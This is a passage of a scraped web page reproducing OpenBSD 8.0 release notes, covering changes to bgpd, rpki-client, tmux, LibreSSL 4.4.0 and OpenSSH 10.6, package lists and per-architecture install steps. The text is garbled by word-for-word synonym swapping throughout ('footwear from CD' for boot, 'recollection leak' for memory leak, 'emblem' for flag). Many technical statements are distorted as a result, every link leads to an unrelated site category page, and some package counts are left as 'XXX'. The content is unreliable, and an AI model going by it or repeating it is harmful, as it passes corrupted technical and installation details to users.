href="https://en.mycoding.id/category/technology" target="_blank">ldpd(8)</a>. </li><li>Had <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> create certain the nexthop trait is current if there is any nlri data. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> failing difficult on type mismatch; disregard additional end-of-params messages. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> handling of unidentified extended communities. </li><li>Increased the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> MRT trait buffer to MAX_EXT_PKTSIZE so it plant in all cases. </li><li>Fixed use-after-free in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> rib_remove and parse.y. </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> force_update emblem to power pend_prefix_add() calls in adjout_prefix_update(). </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> regard RTR min-version in downgrade way and correctly decision the connection. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> add-path dispatch parser. Error out if max is used alongside best. </li><li>Adjusted handling of limits in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> up_generate_addpath(). </li><li>Added extended communication capability to checks for what the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> equal has enabled. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> come back an error on unhandled imsg types in the adj-rib-out case. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> harbor configuring on small endian systems. </li><li>Extra size checks for <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> ibuf_set_maxsize(). </li><li>Introduce MAX_ADDPATH_COUNT (set to 100) and use this for the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> add-path. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> merge_peers() additionally set local_bgpid for cloned peers, not lone regular peers. </li><li>Loop counters converted from uint8_t to u_int in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Reduce maximum configurable old period to CAPA_GR_TIMEMASK (4095) in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> session_graceful_restart() additionally arm the SessionDown timer. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> inspect xp-&gt;rdesession to cognize if the RDE has the meeting operating or not. </li><li>Improved path_calc_hash() in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Fixed 'treat as withdraw' handling for invalid <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> ORIGIN attributes. </li><li>Fixed two recollection accounting issues in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> chash. </li><li>Additional checks on TLV encoding in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Limit all <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> ASPATH attributes to 750 elements. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>, forestall overflow of the uint8_t dimension value in attr_optadd. </li><li>Re-evaluate <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> prefixes if fair PREFIX_FLAG_FILTERED changed. </li></ul> </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>: <ul> <li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> to evade buffer overreads alongside OpenSSL 4.1. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>, refuse non-conformant certificate topic encodings. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> inspect alignment of certificate CRLDPs alongside the referring Manifest. </li><li>Reworked <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> cms_parse_validate(). </li><li>Fixed handling of inherited resources in leaves by <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>Unified all signed entity parser functions in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> now unconditionally warns concerning incorrect RSA parameters; rejects several malformed ROAs. </li><li>Limit the range of deltas added to the <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> queue. </li><li>Ensure accordant states in persistent <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> HTTP connections. </li><li>Removed behavior difference between <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> versions alongside and without gbr support. </li><li>Fixed imaginable exit competition in the <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> parser. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> lone document NCA former on prosperous runs. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> volition now lone output config records on prosperous run. </li><li>Batch <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> retries of non-functional CAs according to their rsync basis URI. </li><li>Properly use constraints to <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> BGPsec Router certs. </li><li>Deduplicated <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> skiplist, shortlist, and NCA retry handling. </li><li>Removed incorrect liberated in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> nca_hist_load(). </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> cert_ca_sia(), use the accurate notify cord in error message. </li><li>Removed twice fclose in a achievement way in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>Added a coinflip to addition cycle-to-cycle jitter in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>, added a backoff retry scheme for non-functional CAs. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> now rejects certs alongside copy expansion OIDs. </li><li>Clear last_modified following all reply on a persistent HTTP <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> connection. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>, toggle subordinates in CCR manifests to a uncomplicated queue. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> exclude hidden records and directories whenever synchronising via rsync. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>, constricted the dimension of filenames in several ASN.1 sectors to 255. </li><li>Fixed incomplete strncmp() inspect in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>Fix off-by-one in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> ip_addr_check_overlap(). </li><li>Fixed shortlist and skiplist checks in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>Added additional error checks and safeguards to <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li></ul> </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">tmux(1)</a> improvements and bug fixes: <ul> <li>Keep the scroll stance in tree manner whenever the catalog is rebuilt (issue 5631). </li><li>Do not leak waiting clients (in wait-for) if they are killed (issue 5614). </li><li>Do not cancel grade whenever a click is on the border. </li><li>Added assistance for borderless menus, akin panes. </li><li>Added utf8 terminal-features. </li><li>Ignore concentration events before to evade them interfering alongside prefix. </li><li>Added -K emblem to new-pane to create a modal pane grasp all keys. </li><li>Always unzoom before splitting windows, including for floating panes. </li><li>Added 'T' to alter pane title. </li><li>Added refresh-now command. </li><li>Ignore Ms if it is invalid (eg no %p1), study in client mode. </li><li>Fixed collision whenever synchronising groups and there is no current window. </li><li>Added pane_private_modes format alongside catalog of DEC personal modes. </li><li>Prevented center dumps upon startup on landisk. </li><li>Added modal panes, created currently alongside new-pane -O. </li><li>Major rework of prompts. </li><li>Fixed cursor calculation whenever the position row is at the top. </li><li>Added -H emblem to capture-pane to display hyperlinks. </li><li>Added -L to display row numbers alongside capture-pane and -F to display row flags. </li><li>Clear complete lines whenever removing from former or freeing. </li><li>Redraw complete meeting whenever making a new pane. </li><li>Added -g emblem to kill-session to slay all sessions in a group. </li><li>Fixed collision whenever freeing layout cell. </li><li>Added missing disagreement to %unlinked-window-renamed. </li><li>Increase escape postpone if the buffer contains a partial paste end. </li><li>Fixed collision caused by including unattached clients on sorted list. </li><li>Added new-pane command. </li><li>Fixed infinite iteration because of underflow whenever redrawing scrollbar. </li><li>Fixed authority manner teardown ordering for queued pane output. </li><li>Added Emacs-style re-centre-top-bottom. </li><li>Added period limits to several loops. </li><li>Added missing flags to screen_mode_to_string. </li></ul> </li><li>LibreSSL type 4.4.0: <ul> <li>Portable changes: <ul> <li>Numerous compatibility tier fixes for AIX, FreeBSD, macOS, MinGW, NetBSD, and particularly Windows. </li><li>Fixed incorrect code generation by the MSVC ARM64 optimizer in constant-time bignum code. </li><li>Improved gathering assistance on many platforms. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">openssl(1)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">nc(1)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">ocspcheck(8)</a> silently operating without <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">unveil(2)</a> on hosts that provision them. </li></ul> </li><li>Internal improvements: <ul> <li>Minor code cleanup for PKCS#7. </li><li>Clear unused bits for the maximum of RFC 3779 IP location ranges. </li><li>Cleanup passes complete the DTLS code, avoiding many contortions. </li><li>Zero out the failure_key in ML-KEM code. </li><li>Improve portability in preprocessor based SHA assembly. </li><li>Removed a few vestigial #ifdefs from community and inner headers. </li><li>Introduce and use dtls12_handshake_msg framework. </li><li>Rename union from _ to u in the ui code. Avoids Windows CE #ifdef. </li><li>Clean up and simplify signature algorithm handling following removal of TLSv1.0 and TLSv1.1. </li><li>Add a item at infinity inspect to ecdh_compute_key(). </li><li>Fix incorrect intent inspect in unreachable non-legacy way of the contemporary X.509 verifier. </li><li>Improve TLSv1.3 server handling of no shared groups. </li><li>Correct secondary key portion handling for HelloRetryRequests. </li><li>Fix EXFLAG_CRITICAL mishandling in the crl_cb(). </li><li>Among CRLs alongside the identical mark favor the one alongside the most recent thisUpdate to equivalent BoringSSL and OpenSSL behavior. </li><li>Clean up sequence figure and communication header handling in DTLS. </li><li>Remove redundant BIO_write() dimension assertions in b64_write(). </li><li>Report invalid base64 BIO province as an inner error fairly than asserting. </li><li>Improve SHA-3 achievement by using an unrolled and interleaved algorithm. </li><li>Allocate TLSv1.3 obtain buffers lazily. </li><li>Simplify handling of remaining document satisfied on toggle to the bequest stack. </li><li>Avoid harmless narrowing of the come back value in dtls1_ctrl(). </li><li>Remove NID_md5_sha1 assistance from tls1_PRF(). </li><li>Remove DTLS unprocessed records queue. </li><li>Remove DTLS use data queue. </li><li>Remove SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS which was never set. </li></ul> </li><li>Compatibility changes: <ul> <li>The misnamed tls_peer_cert_chain_pem() has been deprecated and may be removed in a forthcoming release. tls_peer_cert_chain_verified_pem() and tls_peer_cert_bundle_unverified_pem() have to be used instead. </li><li>Use X25519MLKEM768 as the preferred collection for TLSv1.3 connections in libtls. </li><li>Ensure libtls keeps operating alongside forthcoming OpenSSL releases that will halt NUL-terminating ASN.1 strings. This is an old bug in libtls that volition bite, likely starting alongside OpenSSL 4.2. </li><li>CRYPTO_cleanup_all_ex_data() is now a no-op. It was not thread harmless and the genuine cleanup is now done by <a href="https://en.mycoding.id/category/technology" target="_blank">OPENSSL_cleanup(3)</a>. </li><li>Align <a href="https://en.mycoding.id/category/technology" target="_blank">X509_check_ca(3)</a> alongside contemporary OpenSSL. While it has lengthy been documented that it lone plant following calling <a href="https://en.mycoding.id/category/technology" target="_blank">X509_check_purpose(3)</a>, it motionless makes awareness to "fail closed", i.e., signify a non-CA. </li><li>Added OIDs for CCR, ErikIndex, ErikPartition, ErikSegmentIndex, and communityDefinition. </li></ul> </li><li>Bug fixes: <ul> <li>Fix <a href="https://en.mycoding.id/category/technology" target="_blank">PKCS7_set_{un,}signed_attributes(3)</a> to authorize visitant to free on nonaccomplishment fairly than risking a twice free. </li><li>Initialize decode_error and invalid_key variables in TLS key share code to evade branching on uninitialized memory. </li><li>Record expansion dimension between category and data in the ClientHello hash to justify identical framing in archetypal and second CH. </li><li>Fix out of border writes in the s_client XMSS mode. </li><li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">EC_GROUP_check(3)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">X509_CRL_verify(3)</a> failures outcome in "app" failures in <a href="https://en.mycoding.id/category/technology" target="_blank">openssl(1)</a> ecparam and openssl crl. </li><li>Do not neglect obtain on reverse DNS lookup failures in s_socket. </li><li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">X509V3_EXT_print(3)</a> lone returns 0 and 1. </li><li>Avoid calling memcmp() on NULL in IPAddressFamily_cmp(). </li><li>In libtls disallow wildcard matching of a TLD stated as a FQDN. </li><li>Unbreak several aspects of TLSv1.2 alongside tradition curve lists. </li><li>Ensure a peer-provided EC community key uses uncompressed encoding. </li><li>Send decode_error vigilant on nonaccomplishment to decode an EC equal pubkey. </li><li>Avoid NULL dereference and out-of-bounds peruse in password-based CMS decryption. </li><li>Add several missing limits inspect to ASN1_mbstrinc_copy(). </li><li>Avoid freeing a caller-owned buffer in <a href="https://en.mycoding.id/category/technology" target="_blank">PKCS7_verify(3)</a>. </li><li>Remove SSL_OP_LEGACY_SERVER_CONNECT from default options. </li><li>Send forbidden indicator alerts for assorted HelloRetryRequest violations. </li><li>Check that the server selected ciphersuite is valid for use with TLSv1.2. </li><li>Unlock CRYPTO_LOCK_UI on ui_open_session() nonaccomplishment to avoid a deadlock. </li><li>Check <a href="https://en.mycoding.id/category/technology" target="_blank">HMAC(3)</a> come back value to evade afterward use of uninitialized in <a href="https://en.mycoding.id/category/technology" target="_blank">openssl(1)</a>. </li><li>Use accurate vigilant for key_share without supported_groups. </li><li>Don't autumn X509_V_ERR_HOSTNAME_MISMATCH whenever verify callback returns 1. It has lengthy been documented that this is ill advised but several applications motionless do it. </li><li>Ensure the server selects an ALPN protocol that we advertised or abort the handshake alongside illegal_parameter. </li><li>Fix streaming of PKCS#7 objects alongside omitted content. </li><li>Avoid OOB admission because of category disturbance in PKCS7_stream(). </li><li>Plug leak and assorted another bugs in asn1_multi(), a helper to grip sequences and sets in config parsing. </li><li>Fix RFC 3779 bequest checks for leaves as far as possible without breaking the RPKI. Still authorize the contiguous issuer to omit among the extensions since alternatively concerning one third of RFC 9286 Manifests would rotate into invalid. </li><li>Correct a botched size inspect in dtls1_process_fragment(). </li><li>Avoid confusing delta CRLs as complete CRLs. </li><li>When copying an RSA-PSS EVP_PKEY_CTX, justify saltlen and minimal saltlen restrictions are copied fairly than using the defaults. </li><li>Allow DTLS clients to obtain unexpected Finished messages. </li><li>Cache the leaf's extensions before adding it to a validated sequence to create name constraints inspect activity additional reliably. </li><li>Ensure the entire topic is searched for email addresses and average names. </li><li>Check for embedded NULs in emails and subjectAltname in the basically unused bequest NAME_CONSTRAINTS_*() API. </li><li>Remove assistance for nameRelativeToCRLIssuer in the CRL Distribution Point extension. Per RFC 5280 it SHOULD not be used by conforming CAs and it was dining recollection for dawn meal pre-signature. </li></ul> </li><li>Security and reliability fixes: <ul> <li>Fix parsing issues in X.509 name constraints URI presenter parsing. Handle IPv6 literals correctly and don't authorize specially crafted userinfo to bypass presenter checks. </li><li>Limit size of buffered DTLS handshake messages to evade overly ample recollection use on small handshake communication fragments. </li><li>Fix an OCSP responder authority bypass for clients using tls_config_ocsp_require_stapling(), of which lone OpenBSD <a href="https://en.mycoding.id/category/technology" target="_blank">nc(1)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">ftp(1)</a> are known whenever they're used alongside the "muststaple" key word. </li></ul> </li><li>Testing and proactive security: <ul> <li>Improved test safety for DTLS and TLS renegotiation. </li><li>Add X.509 CRL regress from pre-Apache2-licensed BoringSSL. </li><li>Rework the evaluation example to be recollection based fairly than document based. Match Go's output format additional closely. </li></ul> </li></ul> </li><li>OpenSSH 10.6: <ul> <li>Security fixes: <ul> <li>Disabled <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> LZ77 dictionary coder to evade a possible side-channel leak. </li><li>Fixed ChannelTimeout and RekeyLimit not being applied in <a href="https://en.mycoding.id/category/technology" target="_blank">sshd_config(5)</a>. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> authorized_keys "restrict" keyword use correctly to tunnel forwarding. </li></ul> </li><li>Potentially incompatible changes: <ul> <li>Use IANA allocated codepoint for ssh-mldsa44-ed25519 alternatively of '@openssh.com'. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">sshd_config(5)</a> DisableForwarding=yes override PermitTunnel=yes. </li><li>Enforce a maximum size for usernames in <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-agent(1)</a> delegate key use constraints. </li><li>Disallow NUL byte in <a href="https://en.mycoding.id/category/technology" target="_blank">scp(1)</a> '-O filename'. </li></ul> </li><li>New features: <ul> <li>New <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-add(1)</a> choice '-P' to skip PIN admission (bz3635). </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> indication handling alongside <a href="https://en.mycoding.id/category/technology" target="_blank">readpassphrase(3)</a> fixed. </li><li>Switched <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> from supercop ed25519 to libsodium. </li><li>Extended <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> TCPKeepAlive to assistance forwardings (bz3921). </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-keygen(1)</a> 'hexdump' to dump the key blob in hex format. </li><li>Allow setting/clearing <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-keygen(1)</a> touch-required/verify-required flags on FIDO personal keys whenever resetting the passphrase. </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> '-Z user@host' manner that lists pubkeys that volition be tried for authentication. </li><li>Added experimental <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> assistance for composite post-quantum mldsa44-ed25519 signature scheme. </li><li>Added an explicit-seed type of the <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> keygen function. </li><li>Added signature malleability and pubkey validity checks to <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a> ed25519 verification. </li></ul> </li><li>Bugfixes: <ul> <li>Check <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> compressed payloads don't inflate beyond the maximum payload length. </li><li>Avoid competition between multiple <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> processes establishing multiplexing authority socket. </li><li>Plugged recollection leak in <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-add(1)</a> (CID 913600). </li><li>Fix for <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> CIDs 913601 and 913602. </li><li>Fix for <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> CID 913600. </li><li>Converted <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> conduit timeouts to authorize partial and subsecond timeouts. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> masking signals correctly use sigaddset (bz3981). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> memleaks (CID 913598 and 913599); added missing semicolon (CID 913599). </li><li>Corrected Daylight Savings Time timestamp conversion by <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> (bz4004). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> proxy socket breakage in t-multiplex following latest <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> changes. </li><li>Reading server banner by <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-keyscan(1)</a> no longer blocks/freezes on a many-host keyscan. </li><li>Allow session-bind@openssh.com requests whenever the <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> delegate is locked. </li><li>Avoid possible realloc use-after-free in the <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> client. </li><li>Reordering of certificates tried during <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> pubkey authentication. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> ML-KEM/ECDH interop problem. </li><li>Removed several key <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> parsing and verification paths from the pre-auth assault surface. </li><li>Avoid download to server-controlled way whenever performing <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> download via commandline. </li><li>Avoid imaginable NULL deref in <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a>; sanitise filenames received via distant glob. </li><li>Large refactoring of <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a> config administration code. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a> power domain name received from the scheme resolver to lowercase. </li><li>Fixed two one-byte out-of-cound says in <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a>. </li><li>Stricter validation of transport province passed from the preauth to postauth <a href="https://en.mycoding.id/category/technology" target="_blank">sshd(8)</a> process. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> client use-after-free on error way if cipher_init() fails. </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">ssh-agent(1)</a> -V to imprint version, use it to test the binary is functional following relinking. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> validating bad cipher/mac lists arguments as valid. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> NULL deref during pubkey auth. </li><li>Dropbear lately added a -Q option; create <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> use it to query KEX if available. </li><li>Classify <a href="https://en.mycoding.id/category/technology" target="_blank">ssh(1)</a> dynamic-tcpip channels as bulk, not interactive (bz3958). </li></ul> </li></ul> </li><li>Ports and packages: <p>Many pre-built packages for all architecture: </p><ul> <li>aarch64: 12907 </li><li>amd64: 13060 </li><li>arm: XXX </li><li>i386: 10659 </li><li>mips64: 9072 </li><li>powerpc: XXX </li><li>powerpc64: 9564 </li><li>riscv64: 11116 </li><li>sparc64: 10621 </li></ul> <p>Some highlights: </p><ul> <li>Asterisk 20.21.0 and 22.11.0 </li><li>Audacity 3.7.9 </li><li>CMake 4.3.5 </li><li>Chromium 154.0.8037.92 </li><li>Emacs 31.1 </li><li>FFmpeg 9.0.2 </li><li>GCC 16.1.0 </li><li>GHC 9.10.3 </li><li>GNOME 49 </li><li>Go 1.27.1 </li><li>JDK 11.0.32, 17.0.20, 21.0.12 and 25.0.4 </li><li>KDE Gear 26.08.1 </li><li>KDE Frameworks 6.30.0 </li><li>KDE Plasma 6.7.5 </li><li>Krita 6.0.3 </li><li>LLVM/Clang 21.1.8 and 22.1.8 </li><li>LibreOffice 26.8.0.3 </li><li>Lua 5.1.5, 5.2.4, 5.3.6, 5.4.8 and 5.5.1 </li><li>MariaDB 12.3.3 </li><li>Mono 6.14.1 </li><li>Mozilla Firefox 157.0 and ESR 153.4.0 </li><li>Mozilla Thunderbird 153.4.0 </li><li>Mutt 2.4.2 and NeoMutt 20260616 </li><li>Node.js 24.21.0 and Deno 2.9.7 </li><li>OCaml 4.14.2 </li><li>OpenLDAP 2.6.15 </li><li>PHP 8.3.33, 8.4.26 and 8.5.11 </li><li>Postfix 3.5.28 and 3.11.7 </li><li>PostgreSQL 18.6 </li><li>Prism Launcher 11.1.0 </li><li>Python 2.7.18 and 3.14.7 </li><li>Qt 5.15.19 (+ kde patches) and 6.11.2 </li><li>R 4.6.1 </li><li>Ruby 3.3.12, 3.4.11 and 4.0.7 </li><li>Rust 1.98.1 </li><li>SQLite 3.53.2 </li><li>Shotcut 26.8.1 </li><li>Sudo 1.9.17p2 </li><li>Suricata 7.0.7 </li><li>Tcl/Tk 8.5.19, 8.6.18 and 9.0.4 </li><li>TeX Live 2026 </li><li>Vim 9.2.1125, Neovim 0.12.5 and Vim-Classic 2026091 </li><li>Wayland 1.26.0 alongside compositors CoW, Labwc, Mango, Niri, Sway and Wayfire </li><li>Vulkan 1.4.357.0 </li><li>Xfce 4.20.0 </li></ul> </li><li>As usual, dependable improvements in manual pages and another documentation. </li><li>The scheme includes the following important components from exterior suppliers: <ul> <li>Xenocara (based on X.Org 7.7 alongside xserver 21.1.24 + patches, freetype 2.14.3, fontconfig 2.17.1, Mesa 25.0.7, xterm 410, xkeyboard-config 2.20, fonttosfnt 1.2.5 and more) </li><li>LLVM/Clang 22.1.6 (+ patches) </li><li>GCC 4.2.1 (+ patches) and 3.3.6 (+ patches) </li><li>Perl 5.42.3 (+ patches) </li><li>pkgconf 3.0.7 </li><li>NSD 4.15.2 </li><li>Unbound 1.26.1 </li><li>Ncurses 6.4 </li><li>Binutils 2.17 (+ patches) </li><li>GDB 6.3 (+ patches) </li><li>Awk 20250116 </li><li>Expat 2.8.4 </li><li>zlib 1.3.2 (+ patches) </li></ul> </li></ul> <hr> <h3>How to install</h3> <p> Please mention to the following records on the mirror location for extensive particulars on how to instal OpenBSD 8.0 on your machine: </p><ul> <li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/alpha/INSTALL.alpha</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/amd64/INSTALL.amd64</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/arm64/INSTALL.arm64</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/armv7/INSTALL.armv7</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/hppa/INSTALL.hppa</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/i386/INSTALL.i386</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/landisk/INSTALL.landisk</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/luna88k/INSTALL.luna88k</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/macppc/INSTALL.macppc</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/octeon/INSTALL.octeon</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/powerpc64/INSTALL.powerpc64</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/riscv64/INSTALL.riscv64</a> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank"> .../OpenBSD/8.0/sparc64/INSTALL.sparc64</a> </li></ul> <hr> <p> Quick installer data for group acquainted alongside OpenBSD, and the use of the "<a href="https://en.mycoding.id/category/technology" target="_blank">disklabel</a> -E" command. If you are at all confused whenever installing OpenBSD, peruse the relevant INSTALL.* document as listed above! </p><h3>OpenBSD/alpha:</h3> <p> If your device can footwear from CD, you can compose <i>install80.iso</i> or <i>cd80.iso</i> to a CD and footwear from it. Refer to INSTALL.alpha for additional details. </p><h3>OpenBSD/amd64:</h3> <p> If your device can footwear from CD, you can compose <i>install80.iso</i> or <i>cd80.iso</i> to a CD and footwear from it. You may need to modify your BIOS options first. </p><p> If your device can footwear from USB, you can compose <i>install80.img</i> or <i>miniroot80.img</i> to a USB rod and footwear from it. </p><p> If you can't footwear from a CD, floppy disk, or USB, you can instal throughout the network using PXE as described in the included INSTALL.amd64 document. </p><p> If you are preparedness to dual footwear OpenBSD alongside another OS, you volition need to read INSTALL.amd64. </p><h3>OpenBSD/arm64:</h3> <p> Depending on your hardware, you can compose <i>install80.iso</i> or <i>cd80.iso</i> to a CD and footwear from it, or compose a scheme specific miniroot to an SD cardstock and footwear from it following connecting to the serial console. Refer to INSTALL.armv64 for additional details. </p><h3>OpenBSD/armv7:</h3> <p> Write a scheme particular miniroot to an SD cardstock and footwear from it following connecting to the serial console. Refer to INSTALL.armv7 for additional details. </p><h3>OpenBSD/hppa:</h3> <p> Boot complete the network by following the instructions in INSTALL.hppa or the <a href="https://en.mycoding.id/category/technology" target="_blank">hppa phase page</a>. </p><h3>OpenBSD/i386:</h3> <p> If your device can footwear from CD, you can compose <i>install80.iso</i> or <i>cd80.iso</i> to a CD and footwear from it. You may need to modify your BIOS options first. </p><p> If your device can footwear from USB, you can compose <i>install80.img</i> or <i>miniroot80.img</i> to a USB rod and footwear from it. </p><p> If you can't footwear from a CD, floppy disk, or USB, you can instal throughout the network using PXE as described in the included INSTALL.i386 document. </p><p> If you are preparedness on dual booting OpenBSD alongside another OS, you volition need to read INSTALL.i386. </p><h3>OpenBSD/landisk:</h3> <p> Write <i>miniroot80.img</i> to the commencement of the CF or disk, and footwear normally. </p><h3>OpenBSD/luna88k:</h3> <p> Copy 'boot' and 'bsd.rd' to a Mach or UniOS partition, and footwear the bootloader from the PROM, and afterward bsd.rd from the bootloader. Refer to the instructions in INSTALL.luna88k for additional details. </p><h3>OpenBSD/macppc:</h3> <p> Burn the <i>install80.iso</i> 